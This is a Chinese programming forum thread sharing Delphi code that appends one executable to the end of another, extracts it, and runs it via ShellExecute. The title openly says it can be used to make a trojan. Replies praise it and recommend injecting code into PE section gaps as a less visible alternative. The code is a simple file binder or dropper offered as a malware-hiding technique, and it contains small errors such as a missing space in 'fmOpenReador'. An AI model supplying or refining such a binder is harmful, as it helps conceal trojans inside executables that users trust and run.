向一个exe后面添加另一个exe(可以使木马哦~)
玩世不恭unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls,inifiles,shellapi;
type
TForm1 = class(TForm)
Button1: TButton;
Button3: TButton;
Button4: TButton;
procedure Button2Click(Sender: TObject);
procedure Button1Click(Sender: TObject);
procedure Button3Click(Sender: TObject);
procedure Button4Click(Sender: TObject);
private
public
function Cjt_AddtoFile(SourceFile,TargetFile:string):Boolean;
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
function TForm1.Cjt_AddtoFile(SourceFile,TargetFile:string):Boolean;
var
Target,Source:TFileStream;
MyFileSize:integer;
begin
try
Source:=TFileStream.Create(SourceFile,fmOpenReador fmShareExclusive);
Target:=TFileStream.Create(TargetFile,fmOpenWrite or fmShareExclusive);
TRY
Target.Seek(0,soFromEnd);//往尾部添加资源
Target.CopyFrom(Source,0);
MyFileSize:=Source.Size+Sizeof(MyFileSize);//计算资源大小,并写入辅程尾部
Target.WriteBuffer(MyFileSize,sizeof(MyFileSize));
finally
Target.Free;
Source.Free;
end;
except
Result:=False;
Exit;
end;
Result:=True;
end;
Function Cjt_LoadFromFile(SourceFile,TargetFile :string):Boolean;
var
Source:TFileStream;
Target:TMemoryStream;
MyFileSize:integer;
begin
try
Target:=TMemoryStream.Create;
Source:=TFileStream.Create(SourceFile,fmOpenRead or fmShareDenyNone);
try
Source.Seek(-sizeof(MyFileSize),soFromEnd);
Source.ReadBuffer(MyFileSize,sizeof(MyFileSize));//读出资源大小
Source.Seek(-MyFileSize,soFromEnd);//定位到资源位置
Target.CopyFrom(Source,MyFileSize-sizeof(MyFileSize));//取出资源
Target.SaveToFile(TargetFile);//存放到文件
finally
Target.Free;
Source.Free;
end;
except
Result:=false;
Exit;
end;
Result:=true;
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
Cjt_AddtoFile('F:\8.exe','F:\31.exe');
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
Cjt_LoadFromFile('F:\ctk\31.exe','F:\ctk\ZXC.EXE');
end;
procedure TForm1.Button4Click(Sender: TObject);
begin
// ShellExecute(handle, "open", path_to_folder, NULL, NULL, SW_SHOWNORMAL);
ShellExecute(handle, 'open', 'F:\CTK\zxc.exe', '', '', SW_SHOWNORMAL);
end;
end. 一个问题,MyFileSize如何保留的? 用流这种方式不怎么样。体积比较大,不如往pe空隙里插代码。。 呵呵谢谢了 /:023 /:023 谢谢了 :handshake 不错不错。
用流这种方式不怎么样。体积比较大,不如往pe空隙里插代码。。 谢谢分享,虚心学习。
页:
[1]